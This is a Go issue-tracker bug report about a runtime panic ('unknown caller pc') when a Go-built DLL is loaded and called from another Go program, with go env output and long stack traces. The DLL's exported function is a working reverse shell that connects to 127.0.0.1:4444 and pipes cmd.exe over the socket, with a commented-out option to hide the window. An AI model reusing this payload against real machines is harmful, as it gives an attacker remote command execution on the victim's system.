Closed as not planned
Description
What version of Go are you using (go version
)?
$ go version go version go1.17 windows/amd64
Does this issue reproduce with the latest release?
Yes
What operating system and processor architecture are you using (go env
)?
go env
Output
$ go env set GO111MODULE= set GOARCH=amd64 set GOBIN= set GOCACHE=C:\Users\tomek\AppData\Local\go-build set GOENV=C:\Users\tomek\AppData\Roaming\go\env set GOEXE=.exe set GOEXPERIMENT= set GOFLAGS= set GOHOSTARCH=amd64 set GOHOSTOS=windows set GOINSECURE= set GOMODCACHE=C:\Users\tomek\go\pkg\mod set GONOPROXY= set GONOSUMDB= set GOOS=windows set GOPATH=C:\Users\tomek\go set GOPRIVATE= set GOPROXY=https://proxy.golang.org,direct set GOROOT=C:\Program Files\Go set GOSUMDB=sum.golang.org set GOTMPDIR= set GOTOOLDIR=C:\Program Files\Go\pkg\tool\windows_amd64 set GOVCS= set GOVERSION=go1.17 set GCCGO=gccgo set AR=ar set CC=gcc set CXX=g++ set CGO_ENABLED=0 set GOMOD=U:\go-embeddll\go.mod set CGO_CFLAGS=-g -O2 set CGO_CPPFLAGS= set CGO_CXXFLAGS=-g -O2 set CGO_FFLAGS=-g -O2 set CGO_LDFLAGS=-g -O2 set PKG_CONFIG=pkg-config set GOGCCFLAGS=-m64 -fmessage-length=0 -fdebug-prefix-map=C:\Users\tomek\AppData\Local\Temp\go-build4274060169=/tmp/go-build -gno-record-gcc-switches
What did you do?
Generate DLL from golang:
package main
import "C"
import (
"net"
"os/exec"
)
//export Elo
func Elo() int {
conn, _ := net.Dial("tcp", "127.0.0.1:4444")
cmd := exec.Command("cmd.exe")
cmd.Stdin = conn
cmd.Stdout = conn
cmd.Stderr = conn
//cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
cmd.Start()
cmd.Wait()
print("show uid called\n")
return 1
}
func main() {
}
Compile to dll:
go build -buildmode=c-shared -o elo.dll main.go
Run DLL from another Go program:
package main
import (
"fmt"
"log"
"syscall"
)
func main() {
h, e := syscall.LoadLibrary("elo.dll")
if e != nil {
log.Fatal(e)
}
defer syscall.FreeLibrary(h)
proc, e := syscall.GetProcAddress(h, "Elo")
if e != nil {
log.Fatal(e)
}
n, _, _ := syscall.Syscall(uintptr(proc), 0, 0, 0, 0)
fmt.Printf("Hello dll function returns %d\n", n)
}
What did you expect to see?
I would like to see that I will get connection on 127.0.0.1:4444
What did you see instead?
I see random panic and sometimes program connect to the 127.0.0.1:4444.
Error
runtime: unexpected return pc for runtime.cgocallback called from 0x101bca0
stack: frame={sp:0x1c00008fdf8, fp:0x1c00008fe20} stack=[0x1c00008c000,0x1c000090000)
0x000001c00008fcf8: 0x000000c00070dd28 0x000000005eacb4c5 <runtime.exitsyscall+0x0000000000000105>
0x000001c00008fd08: 0x000000c000032000 0x000001c00008fce8
0x000001c00008fd18: 0x0000000000000000 0x000000005eb60f50
0x000001c00008fd28: 0x000001c00008fdc0 0x000000005ea741e6 <runtime.cgocallbackg+0x0000000000000106>
0x000001c00008fd38: 0x000000005eb1f220 <_cgoexp_e6ef85baad92_Elo+0x0000000000000000> 0x0000000300000002
0x000001c00008fd48: 0x0000000000000000 0x0000000000fc3aea
0x000001c00008fd58: 0x0000000000000000 0x000000005eb1f260
0x000001c00008fd68: 0x0000000000000000 0x000000c00070dea8
0x000001c00008fd78: 0x000000005eb1f260 0x0000000000000000
0x000001c00008fd88: 0x0000000000000000 0x000001c00008fe28
0x000001c00008fd98: 0x000000c000032000 0x000000c00003cc00
0x000001c00008fda8: 0x000000000070dde0 0x000000005eb1f220 <_cgoexp_e6ef85baad92_Elo+0x0000000000000000>
0x000001c00008fdb8: 0x00000012847ffcb8 0x000001c00008fde8
0x000001c00008fdc8: 0x000000005ead1d56 <runtime.cgocallbackg+0x0000000000000036> 0x000000c000032000
0x000001c00008fdd8: 0x0000000300000002 0x000000c000032000
0x000001c00008fde8: 0x00000012847ffb78 0x000000005eacfb77 <runtime.cgocallback+0x00000000000000d7>
0x000001c00008fdf8: <0x000000005eb1f220 <_cgoexp_e6ef85baad92_Elo+0x0000000000000000> 0x00000012847ffcb8
0x000001c00008fe08: 0x0000000000000000 0x000000c00070de28
0x000001c00008fe18: !0x000000000101bca0 >0x0000000000fc3b4c
0x000001c00008fe28: 0x000000000101f880 0x000000c00003cee0
0x000001c00008fe38: 0x0000000000000000 0x000000c00070de98
0x000001c00008fe48: 0x000000c00003cc00 0x000000c00070de88
0x000001c00008fe58: 0x000000000101a994 0x000000000101f880
0x000001c00008fe68: 0x000000c00003cee0 0x010000000102a700
0x000001c00008fe78: 0x000000c00003cc00 0x00000000010b2048
0x000001c00008fe88: 0x000000c00070ded8 0x000000000102072b
0x000001c00008fe98: 0x000000005eb1f260 0x0000000000000000
0x000001c00008fea8: 0x0000000000000000 0x0000000000000000
0x000001c00008feb8: 0x0000000000000000 0x0000000000000000
0x000001c00008fec8: 0x0000000000000000 0x0000000000000000
0x000001c00008fed8: 0x000000c00070df70 0x0000000001083a0c
0x000001c00008fee8: 0x00000000010a69d9 0x00000000010a620c
0x000001c00008fef8: 0x0000000000000060 0x000001538d0b0598
0x000001c00008ff08: 0x0000000000000060 0x00000000014739a0
0x000001c00008ff18: 0x000000c000080000
fatal error: unknown caller pc
runtime stack:
runtime.throw({0x5eb59b73, 0x5eb26bc0})
C:/Program Files/Go/src/runtime/panic.go:1198 +0x76
runtime.gentraceback(0x1538cf96290, 0x7fffb0cff560, 0x7fffb0cff560, 0x1538cf7ac90, 0x0, 0x0, 0x7fffffff, 0x5eb60c08, 0x0, 0x0)
C:/Program Files/Go/src/runtime/traceback.go:274 +0x1956
runtime.copystack(0xc000032000, 0x4000)
C:/Program Files/Go/src/runtime/stack.go:918 +0x293
runtime.newstack()
C:/Program Files/Go/src/runtime/stack.go:1097 +0x48f
runtime.morestack()
C:/Program Files/Go/src/runtime/asm_amd64.s:461 +0x93
goroutine 1 [copystack, locked to thread]:
runtime.heapBits.forwardOrBoundary({0x153d76b4300, 0x0, 0x2070000, 0x153d76cffff}, 0x400)
C:/Program Files/Go/src/runtime/mbitmap.go:497 +0x71 fp=0x1c00008f378 sp=0x1c00008f370 pc=0x5ea83031
runtime.heapBits.initSpan({0x153d76b4300, 0x0, 0x0, 0x153d76cffff}, 0x0)
C:/Program Files/Go/src/runtime/mbitmap.go:763 +0x8e fp=0x1c00008f3e0 sp=0x1c00008f378 pc=0x5ea83b4e
runtime.(*mcentral).grow(0x0)
C:/Program Files/Go/src/runtime/mcentral.go:250 +0x125 fp=0x1c00008f428 sp=0x1c00008f3e0 pc=0x5ea86825
runtime.(*mcentral).cacheSpan(0x5ec20960)
C:/Program Files/Go/src/runtime/mcentral.go:161 +0x69e fp=0x1c00008f4a0 sp=0x1c00008f428 pc=0x5ea8659e
runtime.(*mcache).refill(0x153b2550598, 0x5)
C:/Program Files/Go/src/runtime/mcache.go:162 +0xaf fp=0x1c00008f4f0 sp=0x1c00008f4a0 pc=0x5ea857af
runtime.(*mcache).nextFree(0x153b2550598, 0x5)
C:/Program Files/Go/src/runtime/malloc.go:880 +0x85 fp=0x1c00008f538 sp=0x1c00008f4f0 pc=0x5ea7c3e5
runtime.mallocgc(0x10, 0x0, 0x0)
C:/Program Files/Go/src/runtime/malloc.go:1071 +0x4e8 fp=0x1c00008f5b8 sp=0x1c00008f538 pc=0x5ea7ca68
runtime.makeslicecopy(0x0, 0x0, 0x0, 0x5eb21170)
C:/Program Files/Go/src/runtime/slice.go:55 +0x89 fp=0x1c00008f600 sp=0x1c00008f5b8 pc=0x5eab8009
net.IPv4(...)
C:/Program Files/Go/src/net/ip.go:52
net.parseIPv4({0x5eb58e20, 0x0})
C:/Program Files/Go/src/net/ip.go:587 +0x165 fp=0x1c00008f638 sp=0x1c00008f600 pc=0x5eb051c5
net.parseIPZone({0x5eb58e20, 0x0})
C:/Program Files/Go/src/net/ip.go:722 +0x47 fp=0x1c00008f658 sp=0x1c00008f638 pc=0x5eb05967
net.(*Resolver).lookupIPAddr(0x5ebfa080, {0x5eb7d1b0, 0x0}, {0x5eb57361, 0x20}, {0x5eb58e20, 0x9})
C:/Program Files/Go/src/net/lookup.go:270 +0x13f fp=0x1c00008f7d8 sp=0x1c00008f658 pc=0x5eb090ff
net.(*Resolver).internetAddrList(0x5eb7d1b0, {0x5eb7d1b0, 0x0}, {0x5eb57361, 0x3}, {0x5eb58e20, 0xe})
C:/Program Files/Go/src/net/ipsock.go:288 +0x67a fp=0x1c00008f8f8 sp=0x1c00008f7d8 pc=0x5eb076da
net.(*Resolver).resolveAddrList(0x0, {0x5eb7d1b0, 0x0}, {0x5eb5746c, 0x4}, {0x5eb57361, 0x2030000}, {0x5eb58e20, 0xe}, {0x0, ...})
C:/Program Files/Go/src/net/dial.go:221 +0x41b fp=0x1c00008fa00 sp=0x1c00008f8f8 pc=0x5eaff01b
net.(*Dialer).DialContext(0x1c00008fb98, {0x5eb7d1b0, 0x0}, {0x5eb57361, 0xc00003cee0}, {0x5eb58e20, 0x10000008d0b0598})
C:/Program Files/Go/src/net/dial.go:406 +0x448 fp=0x1c00008fb60 sp=0x1c00008fa00 pc=0x5eafffa8
net.(*Dialer).Dial(...)
C:/Program Files/Go/src/net/dial.go:351
net.Dial({0x5eb57361, 0x20}, {0x5eb58e20, 0x30000})
C:/Program Files/Go/src/net/dial.go:319 +0x7a fp=0x1c00008fc08 sp=0x1c00008fb60 pc=0x5eaffb1a
main.Elo()
U:/go-ctwo/main.go:11 +0x35 fp=0x1c00008fc58 sp=0x1c00008fc08 pc=0x5eb1f0d5
_cgoexp_e6ef85baad92_Elo(0x12847ffcb8)
_cgo_gotypes.go:37 +0x1c fp=0x1c00008fc68 sp=0x1c00008fc58 pc=0x5eb1f23c
runtime.cgocallbackg1(0x5eb1f220, 0x300000002, 0x0)
C:/Program Files/Go/src/runtime/cgocall.go:306 +0x29a fp=0x1c00008fd38 sp=0x1c00008fc68 pc=0x5ea7455a
runtime.cgocallbackg(0xc000032000, 0x300000002, 0xc000032000)
C:/Program Files/Go/src/runtime/cgocall.go:232 +0x106 fp=0x1c00008fdd0 sp=0x1c00008fd38 pc=0x5ea741e6
runtime.cgocallbackg(0x5eb1f220, 0x12847ffcb8, 0x0)
<autogenerated>:1 +0x36 fp=0x1c00008fdf8 sp=0x1c00008fdd0 pc=0x5ead1d56
runtime: unexpected return pc for runtime.cgocallback called from 0x101bca0
stack: frame={sp:0x1c00008fdf8, fp:0x1c00008fe20} stack=[0x1c00008c000,0x1c000090000)
0x000001c00008fcf8: 0x000000c00070dd28 0x000000005eacb4c5 <runtime.exitsyscall+0x0000000000000105>
0x000001c00008fd08: 0x000000c000032000 0x000001c00008fce8
0x000001c00008fd18: 0x0000000000000000 0x000000005eb60f50
0x000001c00008fd28: 0x000001c00008fdc0 0x000000005ea741e6 <runtime.cgocallbackg+0x0000000000000106>
0x000001c00008fd38: 0x000000005eb1f220 <_cgoexp_e6ef85baad92_Elo+0x0000000000000000> 0x0000000300000002
0x000001c00008fd48: 0x0000000000000000 0x0000000000fc3aea
0x000001c00008fd58: 0x0000000000000000 0x000000005eb1f260
0x000001c00008fd68: 0x0000000000000000 0x000000c00070dea8
0x000001c00008fd78: 0x000000005eb1f260 0x0000000000000000
0x000001c00008fd88: 0x0000000000000000 0x000001c00008fe28
0x000001c00008fd98: 0x000000c000032000 0x000000c00003cc00
0x000001c00008fda8: 0x000000000070dde0 0x000000005eb1f220 <_cgoexp_e6ef85baad92_Elo+0x0000000000000000>
0x000001c00008fdb8: 0x00000012847ffcb8 0x000001c00008fde8
0x000001c00008fdc8: 0x000000005ead1d56 <runtime.cgocallbackg+0x0000000000000036> 0x000000c000032000
0x000001c00008fdd8: 0x0000000300000002 0x000000c000032000
0x000001c00008fde8: 0x00000012847ffb78 0x000000005eacfb77 <runtime.cgocallback+0x00000000000000d7>
0x000001c00008fdf8: <0x000000005eb1f220 <_cgoexp_e6ef85baad92_Elo+0x0000000000000000> 0x00000012847ffcb8
0x000001c00008fe08: 0x0000000000000000 0x000000c00070de28
0x000001c00008fe18: !0x000000000101bca0 >0x0000000000fc3b4c
0x000001c00008fe28: 0x000000000101f880 0x000000c00003cee0
0x000001c00008fe38: 0x0000000000000000 0x000000c00070de98
0x000001c00008fe48: 0x000000c00003cc00 0x000000c00070de88
0x000001c00008fe58: 0x000000000101a994 0x000000000101f880
0x000001c00008fe68: 0x000000c00003cee0 0x010000000102a700
0x000001c00008fe78: 0x000000c00003cc00 0x00000000010b2048
0x000001c00008fe88: 0x000000c00070ded8 0x000000000102072b
0x000001c00008fe98: 0x000000005eb1f260 0x0000000000000000
0x000001c00008fea8: 0x0000000000000000 0x0000000000000000
0x000001c00008feb8: 0x0000000000000000 0x0000000000000000
0x000001c00008fec8: 0x0000000000000000 0x0000000000000000
0x000001c00008fed8: 0x000000c00070df70 0x0000000001083a0c
0x000001c00008fee8: 0x00000000010a69d9 0x00000000010a620c
0x000001c00008fef8: 0x0000000000000060 0x000001538d0b0598
0x000001c00008ff08: 0x0000000000000060 0x00000000014739a0
0x000001c00008ff18: 0x000000c000080000
runtime.cgocallback(0xfc3b4c, 0x101f880, 0xc00003cee0)
C:/Program Files/Go/src/runtime/asm_amd64.s:915 +0xd7 fp=0x1c00008fe20 sp=0x1c00008fdf8 pc=0x5eacfb77